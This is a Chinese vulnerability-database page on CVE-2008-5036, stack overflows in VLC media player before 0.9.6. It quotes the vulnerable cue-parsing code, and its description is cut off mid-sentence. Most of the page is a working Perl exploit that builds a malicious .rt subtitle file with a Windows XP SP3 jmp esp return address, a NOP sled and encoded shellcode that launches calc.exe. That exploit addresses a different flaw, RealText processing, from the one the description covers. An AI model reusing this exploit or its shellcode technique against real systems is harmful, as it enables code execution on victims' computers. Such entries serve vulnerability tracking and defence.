VLC媒体播放器多个栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116667 漏洞类型 缓冲区溢出
发布时间 2008-11-07 更新时间 2009-03-25
CVE编号 CVE-2008-5036 CNNVD-ID CNNVD-200811-175
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/7051
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200811-175
|漏洞详情
VideoLANVLCmediaplayer是法国VideoLAN组织开发的一款免费、开源的跨平台多媒体播放器(也是一个多媒体框架)。该产品支持播放多种介质(文件、光盘等)、多种音视频格式(WMV,MP3等)等。VLC媒体播放器在解析畸形的cue文件时存在栈溢出漏洞,以下是modules\access\vcd\cdrom.c文件中的有漏洞代码段:[...]913/*Trytoparsethei_tracksandp_sectorsinfosowecanjustforget914*aboutthecuefile*/915if(i_ret==0)916{917[1]intp_sectors[100];918inti_tracks=0;919inti_num;920charpsz_dummy[10];921922[2]while(fgets(line,1024,cuefile))923{924/*lookforaTRACKline*/925if(!sscanf(line,"%9s",psz_dummy)||926strcmp(psz_dummy,"TRACK"))927continue;928929/*lookforanINDEXline*/930[3]while(fgets(line,1024,cuefile))931{932inti_min,i_sec,i_frame;933934[4]if((sscanf(line,"%9s%2u%2u:%2u:%2u",psz_dummy,&i_num,935&i_min,&i_sec,&i_frame)!=5)||(i_num!=1))936continue;937938[5]i_tracks++;939[6]p_sectors[i_tracks-1]=MSF_TO_LBA(i_min,i_sec,i_frame);940msg_Dbg(p_this,"vcdtrack%ibeginsatsector:%i",941i_tracks-1,p_sectors[i_tracks-1]);942break;943}944}[...][1]这个栈缓冲区可能被溢出[2]+[3]将cue文件中用户控制的数据存储到了line[4]解析用户控制的数据并拷贝到i_min、i_sec和i_frame[5]i_tracks计数器递增[6]来自i_mi
|漏洞EXP
#!/usr/bin/perl
# VLC Media Player < 0.9.6 .RT File Buffer Overflow (Stack Based)
# ---------------------------------------------------------------
# Exploit by SkD <skdrat@hotmail.com>
#
# This should work on a fully up-to-date Windows XP SP3. If you want it to work
# on your OS version, just find a "jmp esp" address in one of the dlls loaded
# with VLC :).
# Have fun.  Remember that VLC will open the file .rt automatically with a video
# of the same name (example: s.mov with s.rt in the same folder).
# Credits to Tobias Klein.
# Author has no responsibility over the damage you do with this!

use strict; use warnings;
# win32_exec -  EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x48\x49\x49\x49".
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41".
"\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x51\x41\x32\x41\x41\x32".
"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x69\x79\x4b\x4c\x4d".
"\x38\x70\x44\x55\x50\x45\x50\x75\x50\x6e\x6b\x77\x35\x67\x4c\x6c".
"\x4b\x43\x4c\x45\x55\x74\x38\x55\x51\x58\x6f\x4e\x6b\x52\x6f\x45".
"\x48\x4e\x6b\x43\x6f\x65\x70\x76\x61\x58\x6b\x50\x49\x4e\x6b\x36".
"\x54\x4e\x6b\x75\x51\x4a\x4e\x56\x51\x6b\x70\x4c\x59\x6c\x6c\x6e".
"\x64\x59\x50\x70\x74\x63\x37\x69\x51\x78\x4a\x56\x6d\x45\x51\x5a".
"\x62\x78\x6b\x6c\x34\x67\x4b\x51\x44\x36\x44\x74\x44\x30\x75\x4d".
"\x35\x6c\x4b\x31\x4f\x31\x34\x65\x51\x5a\x4b\x52\x46\x4c\x4b\x74".
"\x4c\x62\x6b\x6c\x4b\x61\x4f\x77\x6c\x35\x51\x7a\x4b\x6c\x4b\x57".
"\x6c\x4c\x4b\x37\x71\x5a\x4b\x4c\x49\x73\x6c\x77\x54\x47\x74\x38".
"\x43\x50\x31\x6b\x70\x32\x44\x4e\x6b\x61\x50\x66\x50\x4f\x75\x6b".
"\x70\x51\x68\x44\x4c\x6c\x4b\x77\x30\x36\x6c\x6e\x6b\x70\x70\x77".
"\x6c\x6c\x6d\x6c\x4b\x50\x68\x73\x38\x6a\x4b\x74\x49\x6c\x4b\x4b".
"\x30\x4c\x70\x63\x30\x73\x30\x45\x50\x4e\x6b\x45\x38\x35\x6c\x53".
"\x6f\x35\x61\x4c\x36\x75\x30\x71\x46\x6d\x59\x4a\x58\x4b\x33\x4f".
"\x30\x31\x6b\x70\x50\x43\x58\x61\x6e\x6e\x38\x4b\x52\x32\x53\x31".
"\x78\x4c\x58\x4b\x4e\x4c\x4a\x46\x6e\x50\x57\x6b\x4f\x5a\x47\x50".
"\x63\x31\x71\x30\x6c\x35\x33\x44\x6e\x63\x55\x44\x38\x35\x35\x37".
"\x70\x41";
my $char = "\x41";
my $nop = "\x90";
my $eip = "\xd7\x30\x9d\x7c"; #   FOR WINDOWS XP SP3:  0x7c9d30d7       jmp esp (shell32.dll)
my $jmp = "\xeb\x06\xFF\xFF";
my $addr =  "\xb5\xb5\xfd\x7f";
open(my $rt, "> s.rt");
print $rt  "\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65".
	     "\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22".
             "\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30".
             "\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F".
             "\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63".
             "\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C".
             "\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79".
             "\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74".
             "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D".
             "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D".
             "\x65\x20\x62\x65\x67\x69\x6E\x3D\x22".
             $char x 72 . $eip . $jmp . $addr .  $nop x 12 .
             $shellcode . $char x 1024 .
             "\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E".
             "\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69".
             "\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74".
             "\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D".
             "\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D".
             "\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39".
             "\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61".
             "\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65".
             "\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72".
             "\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65".
             "\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E".
             "\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65".
             "\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69".
             "\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77".
             "\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F".
             "\x77\x3E\x0D\x0A";

# milw0rm.com [2008-11-07]
|参考资料

来源:XF
名称:vlcmediaplayer-realtext-bo(46376)
链接:http://xforce.iss.net/xforce/xfdb/46376
来源:www.videolan.org
链接:http://www.videolan.org/security/sa0810.html
来源:MISC
链接:http://www.trapkit.de/advisories/TKADV2008-011.txt
来源:BID
名称:32125
链接:http://www.securityfocus.com/bid/32125
来源:BUGTRAQ
名称:20081106[TKADV2008-011]VLCmediaplayerRealTextProcessingStackOverflowVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/498111/100/0/threaded
来源:MLIST
名称:[oss-security]20081110Re:CVEidrequest:vlc
链接:http://www.openwall.com/lists/oss-security/2008/11/10/13
来源:MLIST
名称:[oss-security]20081105CVEidrequest:vlc
链接:http://www.openwall.com/lists/oss-security/2008/11/05/5
来源:MLIST
名称:[oss-security]20081105VideoLANsecurityadvisory0810
链接:http://www.openwall.com/lists/oss-security/2008/11/05/4
来源:MILW0RM
名称:7051
链接:http://www.milw0rm.com/exploits/7051
来源:GENTOO
名称:GLSA-200812-24
链接:http://security.gentoo.org/glsa/glsa-200812-24.xml
来源:SECUNIA
名称:33315
链接:http://secunia.com/advisories/33315
来源:SECUNI